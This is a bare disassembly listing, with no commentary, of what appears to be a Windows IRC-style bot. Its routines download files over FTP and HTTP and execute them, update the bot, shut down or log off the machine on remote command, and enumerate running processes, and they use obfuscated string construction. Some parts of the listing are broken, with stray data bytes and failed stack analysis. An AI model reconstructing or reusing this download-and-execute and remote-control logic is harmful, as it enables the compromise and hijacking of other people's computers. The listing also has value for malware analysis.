		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F70
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F70
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F70
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F70
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F70
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69BAB8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_443EF8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F70
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+58h+var_3C]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44791F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		push	1
		mov	byte_4E6E84, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FFC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 289030Dh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 289030Dh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 289030Dh


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
